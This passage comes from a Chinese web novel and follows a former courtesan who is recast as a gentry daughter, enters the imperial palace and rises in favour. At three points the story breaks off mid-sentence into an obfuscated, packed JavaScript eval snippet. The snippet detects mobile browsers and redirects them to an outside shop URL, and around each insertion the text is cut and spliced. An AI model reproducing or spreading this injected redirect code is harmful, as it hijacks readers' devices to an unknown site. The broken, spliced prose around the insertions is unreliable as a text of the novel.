阿月在灶间等水开时,我拿烧火棍在地上写她的名字;小铃想给自己攒钱买一支银簪,我便教她认“欠”“还”“清”三个字。她们学得慢,常常今日记住,明日又忘。阿月最没耐心,学到一半便说,字真讨厌。 我说:“会认字,骂人时底气足些。” 她听了,倒又肯学两个。 越心学得最快。 她嘴上说自己看见字便头疼,真坐下来时,却比谁都认真。 这些事说起来琐碎,不值一提。 可在那座院子里,人就是靠这些琐碎活着。半碗热粥,一包药,一张写清的欠条,一个终于认出来的名字。它们换不来大富贵,也换不来体面,却能让人多熬一日。 桃枝病得更重,是入冬之后。 她起初还瞒着,夜里照旧去前堂。后来有一日,她在廊下走着走着,忽然扶着墙蹲了下去。越心冲过去扶她,她还要骂,说只是腿软。可她脸白得吓人,额上全是汗,裙边也沾了不干净的水痕。 大夫来过几回,药也开过。 桃枝嫌药贵。 越心同她吵,说你再不吃药,死了谁管这院子。桃枝笑,说死不了,祸害遗千年。她说这话时,声音已经虚得不像样。阿盲坐在门边听见,眼泪掉下来。桃枝反倒骂她,说哭什么,晦气。 我看着她们吵。 越心气得眼睛发红,桃枝躺在床上,还要装作不疼。她们一个比一个嘴硬,硬到像只要谁先软下来,谁便输了。 后来她还是死了。 死前几日,她烧得糊涂,嘴里喊过阿盲,也喊过公子。 她走的那天,天还没亮。 越心坐在床边,手握着她的手,眼睛红得厉害,却没有哭出声。阿月在外头哭,小铃也哭。阿盲看不见,摸着墙一路摸到门边,差点绊倒。院里乱成一团,却又安静得可怕。 我站在门外,看着越心替她把头发理好。 那一刻我想,她果然傻。 一个老鸨,做成她这样,实在太亏。 可若她不是这样傻,我大约早已被转卖到别处去了。阿盲也许早撑不住,阿月也许早跑了,小铃也许会被更坏的客人拖走。越心嘴上再硬,也未必能一个人撑起这座院子。 桃枝死后,越心接了她手里的账。 越心同桃枝不一样。 桃枝是苦里硬撑出来的心软,越心是火里烧出来的硬气。她嘴快,骂人利,账也算得越来越清。她白日里管米钱、药钱、房租,夜里管客人,管酒,管院里姑娘有没有被欺负。她骂起人来,半条巷子都能听见。可夜里收铺后,她也会坐在院里发呆。 有一回,她喝了点酒,靠在廊柱旁,忽然说:“这世道真该换一换。” 我正坐在旁边抄账,听见这句,笔尖停了一下。 越心看着前堂那两盏红灯,声音带着酒气,也带着恨。 “男人想活,怎么都能活。扛包,摆摊,卖力气,做小买卖。女人呢?靠手吃饭,他们嫌你抛头露面;靠脸吃饭,他们骂你下贱;嫁了人,便要看夫家脸色;不嫁,又要被人说没归处。我们这样的人就更好笑了,开门卖笑,他们骂我们脏;关门做活,他们还是说我们脏。” 她说到这里,笑了一声。 “凭什么?” 世上许多事,本就没有“凭什么”。 我也恨这个世道。 只是我同越心不同。她恨起来,想掀桌子,想骂,想叫所有人都听见。她恨得很热,像一团火。可火烧得再旺,若没有柴,也会灭。我恨得不一样。既然这世道把人分成三六九等,既然男人可以靠家世、权势、才能往上爬,既然女人的美貌也能换来一点上升的缝隙,那我便要顺着这缝爬上去。 我不想站在底下骂天。 我想爬到天底下的人都要仰头看我的地方。 越心说这样的话时,我从不反驳她。 因为我知道,她说得没有错。 只是我不会选她那样的法子。 又过了一阵,公子终于回来了。 那日我在灶间分药,阿月从外头跑进来,说来了一个人,越心姐像见了鬼。我把药包放下,走到廊下时,正看见越心领着一个人进院。 那人穿一身半旧青衣,头发只用木簪束着,身上没有装饰,鞋上还沾着一点路上的灰。她进来时,神色平静,眉眼清朗,却并不显贵。若单看衣裳,甚至比许多常来春宜馆的客人还朴素些。 我第一眼是失望的。 桃枝把公子说得太好。说他办良籍,赁宅子,给银子。我听了半年,心里已把这个人想过许多遍。也许衣饰华贵,也许出手阔绰,也许一看便知道是富贵里养出来的贵公子。可他站在院中时,实在太不像。 我当时想,桃枝果然把人说重了。 可我没有急着下判断。 在楼里学过的人,最忌只看第一眼。衣裳能换,钱袋能藏,真正藏不住的是举止与气质。 公子在院里住了几日。 我也看了他几日。 他不爱多话,却一直在看。看阿盲如何摸着墙走,看阿月如何同菜贩讲价,看越心白日算账,夜里又如何迎客。 那几日过后,春宜馆的门关了。 第一日,我以为只是歇一夜。 第二日,门仍关着。 第三日,前堂的灯也没点。 院里的人嘴上不问,心里都乱。阿月在井边洗帕子,洗一条看三回门。小铃拿着胭脂盒,不知该收还是该放。阿盲听见前堂没动静,手指在算盘珠上摸了很久。越心脸色比平常沉,却没有解释太多,只说先停几日。 我看明白了。 公子这次回来,不只是看一看旧人,留一点银子,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17643574|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说几句好听话。 那几日夜里,越心同她说了很久的话。 我不知道她们说了什么。可越心出来时,眼神变了。 越心开始说一些更大的话。 说这世道不该这样。 说女人不该只有这几条被人推着走的命。 说那些高高在上的人若真该换一换,也未必没有法子。 她说这些话时,眼里有火。 我站在旁边听着,心里却慢慢冷静下来。 公子想做的事,比我原先想的更大。 他不是只想救几个女人。若只是救人,给钱便够了。若只是图个好名声,他早可在桃枝活着时回来,叫众人跪下谢恩,再飘然离去。可他没有。他住下来看旧宅白日和夜里的两张脸。如今又关了门,听越心那些疯话。 那他想要什么? 人。 能用的人。 想到这里,我终于决定去见他。 去之前,我认真想过该怎么穿。 若打扮得太艳,便像仍把自己当春宜馆里待价的姑娘。若穿得太素,又容易显得刻意可怜。我翻了几件衣裳,最后选了一件月白旧衫。衣裳洗得有些发白,却干净。发上只簪木钗,不戴珠花,也不上脂粉。 我知道自己的脸。 有些脸,上了妆是价钱;不上妆,才像来历。 我不能叫公子觉得我只会以色事人。那样的人,他未必没有见过。我要叫他看见,我会听,会想,会记,也知道自己能拿什么去换将来。 越心带我去东厢时,还笑我,说我穿的像菩萨。 我说:“菩萨不会来这种地方。” 越心啧了一声。 进屋后,公子坐在窗下。他抬头看我,我向他行礼,他请我坐。屋里灯不亮,越心在旁边站着,像想看我究竟要说什么。 我便说了。 说我知道他有所求,说他这几日不是怀旧,说青楼女子手里能拿出来的东西不多,无非一张脸,一张嘴,还有一点揣摩人心的本事。若他要我去某处,见某个人,听话也好,套话也好,离间也好,只要用得上,我都愿意。 越心当时脸色不好,像要骂我。 公子却看着我,很久没说话。 那一刻,我心里也并非全然笃定。 我是在赌。 赌他的心够大,能看见我这点用处;也赌他的心还没硬到把我当一件随手可弃的器物。前者决定她会不会带我走,后者决定我会不会死得太快。 后来他说:“遇到难处先保住自己的命。” 这话说得我几乎要信。 可我更明白,世上没有谁的命能全由自己握着。男人的命要交给朝堂,女人的命要交给家门、夫婿、客人、主子。若总要交出去,那我宁愿自己挑一个价高的地方交。 陆公子最终带我走了。 他说,要送我去历下朱家。 我那时便知道,我赌对了。 朱家是旧族,有名声,有规矩,有能把一个来历不明的女子重新洗成良家女的本事。若我能进朱家,便不再是春宜馆里的林鸯鸯。 可去朱家的路上,我又有些后悔。 公子出行太不像贵人。 他不带随从也不摆排场,这就罢了。他住店时挑偏僻处,进城时不爱走正门热闹处。马车青篷旧帘,衣裳也朴素。他有时夜里还要亲自出去探看周围,回来时袖口带着露水。我心里忍不住想:我是不是看走眼了? 这哪里像贵人。 倒像逃犯。 可他越这样,我又越觉得不简单。 寻常贵人不会这样走路,寻常逃犯也不会有他那样的从容。他像一个身上带着许多秘密的人,知道哪里该快,哪里该慢,哪里有人看,哪里不能留痕。这样的人,若真能把我送进朱家,便说明他手里的东西比我想的还深。 我们最后平安到了历下。 可公子没有带我到朱家门前,而是在离朱家还搁这两条巷子的地方停下。 我还以为只是暂歇,等了一会儿,见他没有继续往前的意思,才问:“公子不继续走了吗?” 他摇头。 “我送你到这里,已经够了。前面再走一截便是朱家。后头的路,你自己走。” “为何?” “不方便。” 他只答了这一句,便没再往下说。 这一路他行事处处避人,到了朱家门前依旧不肯露面。 我没有追问太多。一个能把我送到这里,却不肯露面的人,必然有他的顾忌。越是这样,我越不能多问。知道太多的人,未必活得更久。 我摸了摸袖中的信。 那封信是公子给我的。纸张做得旧,边角磨过,墨色也压得不新。信里写得不多,只像一个晚辈向长辈托付一名落难女子。若不是我知道这一路的安排,单看那封信,倒真像是一个贵人念着旧情,替我找一处好人家。 贵人做事,连一封信都能做的如此细致,我的心里安定了一些。 一个肯把细处做到这份上的人,绝不会只是心血来潮。 在我走之前,他终于把真正的安排说了。 朱家有选秀的资格。 两年后,我要去选秀。 他要我入宫。 我原以为,进朱家之后,公子给我的安排,是叫我做一枚高门里的暗棋。 或许嫁给某个有用的人,或许进某户府中,或许替她听后宅里的话。这样的事,我能做,也愿意做。高门深院同青楼有许多地方相像,男人要哄,女人也要哄,主母、嬷嬷、丫鬟各有各的心思。只要给我几年,我总能摸清。 但选秀,入宫,皇帝。 我原本以为自己抓到的是一根能把我拉出原先身份的高枝。没想到这枝往上伸得这样高,高到尽头竟是宫墙。 那一刻,我才真正明白,陆公子想做的事,比我想象中还要大。 也比我想象中更敢。 我低着头,没有让自己脸上露出太多神情。 而我心里知道,从这一刻起,我终于摸到了一条真正通向高处的路。 68.林鸯鸯3:高门暖日换新裳[番外] 进朱家那日,林鸯鸯这个名字便被抹去了。 朱老夫人叫人带我下去洗漱,换衣,吃饭,又请大夫来替我把脉。大夫说我身子亏得厉害,须慢慢养。朱老夫人听完,只点了点头,叫厨房往后每日给我添一盏热汤,又吩咐嬷嬷,不必急着教规矩,先让人睡足。 我那时坐在旁边,低着头,没有插话。 朱三夫人过来看我,她站在门口,手里攥着一条帕子,眼睛在我脸上停留了很久,我当时以为是生人相见时惯常的打量,便没有放在心上。 从前在楼里,身子亏不亏,并不是什么要紧事。只要还能梳妆,能坐到客人跟前,能笑,便不算大病。春宜馆里,桃枝也肯给人请大夫,可那里银钱紧,每一包药都要在账上显出分量。到了朱家,大夫一句“慢慢养”,便有人替我记下吃什么药、何时喝汤、晚上屋里炭盆添几块。 我那时第一次明白,原来人命贵贱之分竟如此显眼。 朱家给我安排在后院一处小厢房。 屋子不大,却干净。窗下有一张书案,案上摆着笔墨和几本旧书。床帐是素色的,洗得很软,被子里有太阳晒过的味道。丫鬟给我端来热水,叫我先擦脸洗手,又捧来一身半旧衣裙,说是府里姑娘从前的衣裳,料子仍好,叫我别嫌弃,暂且穿着,日后给我量身定制衣裙。 我摸着那衣料,指尖停了一下。 半旧的衣裳,也比我从前许多新衣更好。 那一晚,我躺在朱家的床上,很久没有睡着。 太安静了。 没有前堂酒声,没有男人的笑声,没有半夜敲门的脚步,也没有谁在隔壁压着嗓子哭。窗外只有风吹过树叶的声音,孩子跟母亲撒娇的稚嫩声音,远处偶尔传来的狗叫声。 这样的夜,原来真的存在。 第二日,朱老夫人叫我去内堂。 她看着我,我垂着眼,按嬷嬷昨夜临时教过的礼行下去。动作还不够稳,袖子也乱了一点。 朱老夫人没有笑我。 她只道:“不急,慢慢学。” 朱三夫人,也就是我现在名义上的奶奶,她坐在老夫人一旁,一直看着我行礼。等我起身时,忽然问我:“你小时候...是在哪里长大的?”我说记不清了,她嗯了一声便低头喝茶,没有再问。 朱老夫人又问我:“你从前可认字?” 我道:“认得一些。” “认得便好。”她道,“朱家的姑娘,不能只会低头走路。字要写,书也要读。来处既改了,样子也要一点点改。” 我听得出里头的意思。 来处改了,不是嘴上说一句便能成。一个女子出身哪里,许多东西会落在身上。走路的姿态,说话的轻重,看人时眼神停多久,坐下时手放在哪里,听见别人提起诗书时有没有迟疑,见了长辈是否先退半步。这些东西细碎,却比衣裳首饰更难装。 我若要做朱家的女子,便不能只换一个名字。 几日后,朱甜的名字又出现在了朱家新修的宗谱之上。 从那日起,院里的人便叫我甜姑娘。 最初听见时,我心里会怔一下。后来听得多了,也就应得自然。名字这东西,旁人叫久了,便像真长到身上一样。林鸯鸯三个字被我一点点压到心底。若有时夜里忽然想起,也只像想起前世。 朱三夫人常来给我送点心,我道谢后,她总盯着我说:“甜甜,你吃东西时真像一个人。”我问像谁,她总是不答,只把碟子推到我面前,笑了一下便转身走了。 朱家比我想象中好很多。 我原以为高门大户里,规矩必然繁琐,人与人之间也多半隔着一层。我已经做好了被冷落、被试探、被轻慢的准备。可朱家不是这样。 朱老夫人待我严,却不刻薄。她身边的嬷嬷教我规矩,错了便重来,从不骂难听话。朱三夫人经常过来看我练字,见我写得手酸,便心疼地叫我歇歇,再送一碟点心。朱家的姑娘们初时对我好奇,背地里大约也问过我的来历,可到我跟前时,仍是客客气气。有人借我书,有人教我辨香,有人笑我走路太绷。 她们说这话时,是善意。 我知道。 正因知道,才更不习惯。 从前我所学的一切,都是为了应付恶意、欲望和算计。客人看我一眼,我要分出他想要什么;老鸨笑一声,我要知道她是不是又要把谁卖出去;牙婆摸一摸衣料,我要猜她下一句会不会压价。到了朱家,许多话竟不再有言外之意。朱三夫人说汤要趁热喝,便只是汤要趁热喝。姑娘们拉我去看花,便只是花开得好,想叫我也看一眼。 我一开始不信。 后来才慢慢发现,她们真的没有别的意思。 这比恶意更叫我无措。 恶意有迹可循,善意却像一块太软的垫子,我这样的人踩上去,反倒不知道脚该往哪里放。 有一回,朱三夫人在廊下坐着,我在一旁陪她剥莲子。她低着头,忽然说了一句:“从前我也尝尝给一个人剥莲子,她小时候不爱吃莲心,我就一颗一颗替她去掉。”我问是谁,朱三夫人眼睛却红了,顿了许久说道:“十几年前我带我的小孙女来投奔朱家,后来她走丢了...” 我手上的莲子掉了一颗,她没看我,只是把莲子捡起来,什么都没再说。 那晚我做了一个梦,梦里我还小,坐在一辆摇摇晃晃车上,外面有人哭,有人喊,有人跑,有只手把我推下去,又有只手把我拽起来,醒来时我的心口和脑子都痛得厉害。我按着额角,愣了很久,心想是在朱家好日子过久了,竟开始乱做梦了。 朱家的日子很规整。 清晨请安,上午读书写字,下午学针线、琴、礼。晚间若无事,姑娘们便聚在一处说话。有时说书里哪一句写得好,有时说厨房新做的酥酪太甜,有时说哪家亲眷来信,带了外地的新鲜事。她们笑起来声音不高,连打趣也不伤人。有人学不好琴,旁人会笑她手像在砸核桃,她便回嘴说你写字也像蟹爬。笑完还是坐在一处吃点心。 我在一旁看着,心里常常生出一种奇怪的嫉妒。 我嫉妒这样的日子。 她们也会烦,会哭,会怕长辈责备,会担心以后嫁得好不好。可她们的烦恼也如此干净。她们不必知道客人伸手前会先看哪里,不必学怎么在恶心时也笑,不必在十三四岁时便明白自己的脸能卖多少钱。她们可以因为一支簪子不好看而不高兴,也可以因为一首诗背不出而委屈。 原来世上真有女子,是这样长大的。 被人教,被人护,被人慢慢等着长大。 我有时候会在夜里坐起来,看着床帐发呆。 我并不恨她们。 她们没有害我。 可正因为她们没有害我,我心里那点不平反倒无处可放。若她们恶毒些,我还能在心里冷笑,说高门女子也不过如此。可她们偏偏大多很好。好得叫我不得不承认,世上确有一些女子,从一出生便站在我拼命想爬上去的地方。 这不公平。 可我早知道,世上没有公平。 人不能因为不公平便停在原地哭。 我学得很快。 朱家请来的女先生教我读书,我读得顺,也记得快。 嬷嬷教礼时更严。 行礼时手抬几寸,跪下时裙摆如何收,见不同身份的人眼神该落在何处,长辈问话时何时答。她说这些时,像在教一套新曲子。我从前在楼里学过怎样让男人觉得自己被仰慕,如今学的是怎样让长辈觉得自己温顺,让同辈觉得自己无害,让下人觉得自己不轻浮。 本质并无多少不同。 只是朱家的规矩说得更好听。 我越来越像朱甜。 朱家的姑娘们渐渐真把我当成一家人。 她们叫我甜妹妹。 我最初听见这三个字,心里有些想笑。后来听多了,便不笑了。再后来,有一次她们几个人围在一处替我挑绣线,说我穿浅色好看,别总用太素的东西。我坐在她们中间,看着她们把各种颜色往我袖边比,忽然有一瞬间觉得,若我真是朱甜,也许日子便会这样过下去。 读书,写字,看花,绣衣裳。 以后寻一门不算差的亲事,嫁出去,生儿育女,逢年过节再回朱家请安。 这样的日子,若给旧楼里许多姑娘,她们大概会哭着谢天。 可我只想了一瞬,便把这个念头放下了。 这日子太好了。 但我已经知道天底下最高的地方在哪里,便很难再把一处温暖小院当成尽头。朱家的日子越好,我越明白,一个女子若能真正站得高,能拿到的东西会更多。她们如今的好,是家门给的,长辈给的,姓氏给的。若有一日家门不稳,长辈不在,夫家不仁,这些好便会松动。 我不想把命放在别人给的好里。 我想要自己抓得住的高处。 选秀消息来的日子比我想象中快。 那日朱老夫人正在内堂听人念家中来信。宫中采选的诏令送到后,府里气氛一下变了。朱家的姑娘本就有入选资格,按例该将年纪合适的女子报上去。可朱老夫人看完名册,眉头皱了很久。 朱家不想送女儿入宫。 这一点我很快便看出来了。 朱老夫人年纪大,见过太多宫里的事。朱家虽是旧族,却不靠后宫争宠立身。朱三夫人私下叹气,说宫里看着富贵,其实最是吃人。姑娘进了宫,得宠怕,失宠怕,有孕怕,无子也怕。朱家女儿读书明理,嫁入寻常官宦人家,未必大富大贵,却总比困在宫墙里强。 这话说得是真心。 朱家几个年纪合适的姑娘听了,有人松口气,也有人仍旧不安。选秀这种事,不是朱家一句不想便能全推干净。名册要报,病弱、守孝、定亲,各有各的说法,太过刻意,也会惹人注意。 “甜儿。”她道,“这回选秀,你也不必去。” 朱三夫人站起身走到我面前,看了我好一会,嘴唇动了动,可终究什么也没说,只是伸手把我肩头的一根落发捻掉。 我低头,“祖母怜惜我。” “不是只怜惜你。”朱老夫人叹了口气,“宫里不是好地方。你来朱家不易,如今好容易养出些样子,别再去那种地方受罪。” 朱老夫人是真不想我去。 她只当我是被救下的落难女子,来朱家求一条活路。如今她给了我身份,教我规矩,养我两年,便真想替我寻一处安稳去处。 她是好人。 朱家人多半都是好人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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名册报上去后,朱老夫人把我叫到身边坐了一会儿。 她没有再劝,只拿出一只小匣子,里面放着几样不太张扬的首饰。 “进宫候选,不能太素,也不能太盛。”她道,“太素了,人家说朱家怠慢;太盛了,又招眼。这几样你带着,足够了。” 我接过匣子,手指轻轻碰到那支玉簪。 玉色温润,不新,却好。 “多谢祖母。” 朱老夫人看着我,忽然伸手替我理了理鬓边碎发。 “甜儿。”她道,“若进不去,也不丢人。回来便是。朱家总有你一间屋子。” 朱三夫人也送了一只镯子。银的,不贵重,上面刻着平安二字。她给我戴上时,我瞥见她腕上也有一只,款式一模一样,只是磨得旧了些。我问她是传下来的吗,她低着头给我系镯子上的红绳,说:“从前打的一对,想等孙女长大了给她。” 她系好了,抬头看我。 “现在不用等了。” 我低下头。 那一刻,我差一点真的心软。 差一点。 选秀前一夜,我坐在窗下,将带入宫的衣物一件件理好。外头月色很淡,朱家后院安静如常。桌上摆着女先生给我抄的几页宫规,旁边是嬷嬷替我列好的注意事项。丫鬟送来热茶,又轻手轻脚退下。 我把茶端起来,喝了一口。手腕上的银镯子在灯下微微发亮,平安两个字安安静静地贴在我皮肤上。 茶香很清。 两年前,我刚进朱家时,连端茶的手势都不合规矩。如今我坐在那里,衣裙齐整,发髻稳妥,连垂眼时该有几分温顺,都已经练得自然。 朱甜这个人,终于像是真的了。 只是我知道,她仍旧是一件衣裳。 林鸯鸯藏在衣裳里,看着镜中的自己。 镜中女子眉目柔顺,气质清雅,身上再无青楼痕迹。若不说,谁能知道她从哪里来?谁又会知道,她心里想的是什么? 我看着镜子,笑了一下。 女人靠美貌往上爬,同男人靠文章、靠军功、靠逢迎往上爬,究竟有何不同? 他们把自己的野心叫志向。 我也可以。 第二日清晨,朱家送我出门。 朱老夫人没有亲自送到门口,她年纪大了,只在内堂等我去辞别。我向她行礼时,她看了我很久,最后只说:“好好活着。” 我低头应是。 走出朱家大门时,风从街上吹来,带着一点暖意。我坐进车里,帘子落下前,看见朱家的门慢慢合上。朱三夫人还站在门口,越来越小,最后变成一个模糊的影子。 那扇门收留了我两年。 给了我名字,身份,衣裳,规矩,也给了我一段我从前想都不敢想的好日子。 可我不会留在那里。 我要去更高的地方。 高到无人再敢轻易把我推下去。 69.林鸯鸯4:御前抬眸试君王[番外] 入宫前,公子同我说过一句话。 他说,皇帝不喜欢太乖顺的女子。 世人总说,女子入宫,最要紧的是温顺,知礼,安分,不争不抢。朱家的嬷嬷也是这样教我的。到了宫中,眼睛不可乱看,话不可多说,笑不可太轻浮,也不可太僵。皇上问话,要先听清,再回答。答得太快,显得轻率;答得太慢,又显得愚笨。总之,女子身上连一根头发都要恰到好处。 可公子说,皇帝不喜欢太乖顺的女子。 他叫我记住,若真能见到皇帝,便不要一味低头。低头的人太多了。宫里最不缺的便是会低头的人。 我那时听完,便记住了。 会低头容易。 难的是知道何时抬眼。 选秀那日,宫门外站满了人。 各家送来的女子排成一列,衣裳颜色都压得稳,首饰也不敢太盛。有人紧张得脸色发白,有人故作镇定,有人眼睛里藏着急切,偏要装出淡泊。她们都很好看。能被送到这里来的女子,再差也不会差到哪里去。有人胜在娇柔,有人胜在端庄,有人年纪小,眉眼还带着未开尽的稚气。她们站在那里,像一排刚被修剪过的花枝,等着宫里的人挑拣。 我站在其中,心里想起之前的日子。 这早不是我第一次被人挑。 只是从前挑我的人,坐在青楼的酒席后,手里拿着银子。如今挑我的人,在宫墙深处,手里拿着更大的东西。 本质并没有太大不同。 我这样想着,心反倒安定了。 初选先看身子、年纪、家世,再看容貌举止。宫中女官走过一排人,目光落在每个人脸上。她们看得很细,比起青楼里的牙婆,她们自然体面太多。可我心里明白,无论体不体面,看就是看,估就是估。 轮到我时,那女官停了一下。 “历下朱氏?” 我低头应是。 “抬起头来。” 我便抬头。 她看了我片刻,没说什么,叫我往前。 后来复选,又见了几位宫中嬷嬷。她们问我读过什么书,问我家中长辈身体如何,问朱家女子平日学些什么。我照着朱家教过的答,不多说,也不显得太笨。问到诗书时,我故意答得不算太深。女子太会卖弄,总叫人防备;全然不懂,又显得粗浅。要让人觉得我读过书,却不是张扬的性子。 这些分寸,青楼也教过我。 只是换了说法。 到了御前那一日,我终于见到了皇帝。 宫中女子一个个上前,行礼,答话。他问得不多。有时只问家中何人,有时问读过什么书,有时甚至只看一眼,便叫人退下。 轮到我时,我跪下行礼。 “臣女朱甜,见过皇上。” 皇帝道:“朱家女?” “是。” “历下朱家,出过几位好先生。”他随口道,“你也读书?” 我低头答:“读过一些。” “读过哪些?” 我说了几本最稳妥的书,又添了一本诗集。 皇帝似乎看了我一眼,“喜欢诗?” 我静了静,道:“从前喜欢。后来先生说,女子若只爱诗,心容易浮。” 寻常秀女多半会说喜欢女诫、喜欢孝经,或说诗书皆是长辈所教,不敢妄言喜恶。我偏说从前喜欢,又说先生嫌心浮。听着像乖顺,又露出一点没有全被规训好的痕迹。 皇帝果然笑了一下。 “那你如今还喜欢吗?” 我抬眼看了他一瞬。 “还喜欢。”我道,“只是如今知道,喜欢归喜欢,不可耽误正事。” 他看着我。 我把眼垂下去。 那一刻,我知道自己答对了。 男人喜欢女子有一点锋芒,却不能真刺到他。要叫他觉得这锋芒是天生的,是有趣的,也是能被他握住的。若全然乖顺,他看一眼便忘;若太不驯,又会叫人厌烦。最好的分寸,是让他觉得你心里有一点不肯全低头的东西,而这东西最后仍肯为他低头。 我被留了牌子。 消息传回朱家时,朱三夫人哭了一场,朱老夫人叫人给我递来金银和几句话,说入宫以后,先保重身子,旁的都不急。她大约还以为,我是为报朱家养育之恩才走到这里。这样也好,世上有些好话,说给旁人听久了,便也像真的。 我入宫后,起初位分不高。 宫中女子太多了。美貌在这里并不稀奇,家世也不是最稀奇的东西。能被皇帝看见,才算第一步。可看见之后,如何叫他第二次想起,第三次想起,便又是另一桩事。 我并不急。 急的人容易露怯。 皇后问话时,我恭敬。各宫娘娘赏东西,我谢恩。女官教规矩,我听。别人试探我,我便装作听不懂。有人夸我生得好,我便说宫中姐姐们皆是明珠,我不敢当。有人讥我朱家多年不入后宫,如今倒肯送人来了,我便笑,说祖母年纪大,最怕孙女没规矩,若有失礼处,还请姐姐们提点。 皇帝第一次召我侍宴,是入宫后半月。 那日我穿一身浅青色衣裳,没有戴太多首饰。宫人来传话时,我起身谢恩。不能太喜,喜得太露,显得没见过世面;太淡,又像不知好歹。 皇帝见我时,正在看一卷折子。 他没有立刻叫我近前,只问:“你就是那个喜欢诗,又怕误正事的朱家女?” 我垂眼道:“臣妾不敢怕,是先生教得好。” “你倒会把话推给先生。” “朱家先生严,臣妾不敢不推。” 他说到这里,终于抬眼看我。 我看见他眼中一点笑意。 后来几次,我便渐渐摸出皇帝喜欢什么。 他喜欢女子聪明,却不喜欢聪明得急于显露;喜欢女子有趣,却不喜欢为了有趣故作轻狂;喜欢听人说真话,却要那真话说得不冒犯。他身边太多人怕他,也太多人讨好他。怕他的人话都像从一个模子里倒出来,讨好他的人又常常用力过头。我要做的,是让他觉得我有一点自己的心思,又愿意把这点心思收在他手边。 这并不难。 比起青楼里那些自以为风流的客人,皇帝自然难得多。 可再难,他也是人。 人便会有喜欢,有厌烦,有旁人碰巧触到的软肋。只要是人,便能看,能听,能揣摩。 我从不觉得这有什么可耻。 朝臣在前朝揣摩圣意,叫能臣。妃嫔在后宫揣摩圣意,便叫狐媚。其实做的是一回事。只是男人站在金殿里,女人站在纱帐后,名字便不同了。 我不在意名字。 我只在意结果。 我渐渐得宠。 先是多了几次召见,再是赏赐多起来。皇帝说我性子有几分意思,皇后也夸我知礼。各宫看我的目光开始变了。有些人笑得更亲近,有些人话里带酸,有些人终于把我当成一个需要防备的人。 我知道,我在宫里有了位置。 得宠的日子并不全是软帐香风。皇帝来时,要想着如何说话;皇帝不来时,要想着为何不来。宫人看你的脸色,别宫看你的赏赐,内廷看你身子有没有消息。宠爱落到身上,像一盏夜里的灯,灯一亮,所有虫都朝你飞来。 我不怕。 比起从前,已经好太多了。 在青楼里,我也要讨好男人,还要被老鸨压着,被牙婆估着,被客人摸着看价。到了宫里,我仍要讨好男人,可这个男人是天下最有权的人。既然都要讨好,我自然要挑最有用的那个。 美貌若只能换来一夜银钱,便太亏了。若能换来位分、体面、孩子、家族倚仗,才算用到了该用的地方。 公子回京的消息传进宫时,我已成了恬贵人。 那日皇帝来我这里用茶,随口提了一句明亲王府世子回京。 我正在替他分茶,手没有停,只笑道:“臣妾入宫前,倒听祖母提过明亲王府世子。” 皇帝看我,“你知道他?” “朱家同明亲王府有旧,臣妾自然听过几句。” “听过什么?” 我垂眼笑了笑。 “说世子少年时便沉稳,后来出京多年,如今回来,想必更稳重了。” 皇帝哼笑一声,“稳重。” 我听出他语气里有一点不同,便没有立刻往下接。 过了一会儿,我像闲话般道:“只是臣妾听朱家姐妹们从前私下说笑,说世子这样年纪还未成婚,京里不知多少人家要惦记。” 皇帝看向我。 我忙低头,“臣妾失言。女儿家的闲话,不该拿到皇上面前说。” 皇帝却没有怪我。 他只是道:“京里确实有人惦记。” 后来的事,不必我推得太明显。 宫里一句闲话,从来不会只停在宫里。皇帝听过,身边内侍听过,皇后那边也很快会知道。明亲王府世子年纪不小,尚未成婚,这本就是可以拿来说的事。只要有人在合适的时候轻轻提一提,便会有人顺势想下去。 不久后,外头果然起了动静。京里各家开始打听明亲王府的意思,宫中也有人提起世子婚事。皇帝有一回同皇后说起,还笑道:“他也确实该成家了。” 我坐在一旁,低头剥橘子,像没听见。 后来再一步一步,越心进了王府。 这中间自然不只是我几句话的功劳。 我只是把一根细线轻轻拨了一下。可有时候,局已经铺好,只差这一拨。 我做到了。 公子当年送我进朱家,要我将来在京内帮他一二。到这里,我已经帮了。 我欠他的,不算全还清,却也有了交代。 又过了些日子,我有了身孕。 宫中一下更热闹起来。 皇帝来得更勤,皇后赏赐也多了。太医每日请脉,饮食、香料、衣裳,都有人一层一层查过。各宫送来的东西,看着样样吉祥,却没有一样能不经人手。我的屋子里添了许多伺候的人,也添了许多眼睛。 怀孕并不轻松。 我从前只知道女人生孩子是鬼门关,却不知道这鬼门关从有孕那一日便开始摆在面前。吃多了怕,吃少了怕,睡不好怕,睡太久也怕。太医说脉象尚稳,我便要听出话字里有没有别的意思。宫人说小皇子必定康健,我也要分辨她是否真祝福。 我还不知道腹中是男是女。 可所有人都希望是皇子。 我也希望。 这话没什么不好承认。 女儿也好,可皇子更有用。皇子能叫我站得更稳,也能叫皇帝多看我几眼。若说母亲不该这样想,便是笑话。宫里的女人若连孩子能带来什么都不想,便活该被人推下去。 生产那日,我疼了很久。 疼到后来,屋里的声音都远了。稳婆叫我用力,宫女在旁边低声念着吉祥话,太医隔着屏风候着。皇帝不能在产房里,却有人来回传话,说皇上在外头等。我听见那些话时,心里还有一点清醒。 我不能死。 我走到这里,不是为了死在一张产床上。 后来孩子哭出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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朱老夫人借看孩子去了外间,给我和公子留了几句话的空隙。她只当我是公子救下的女子,如今见了旧恩人,总该有几句私话。老人家心善,也通透。她替我们留了余地,却不知道这余地里要断的是什么。 公子站在屏前。 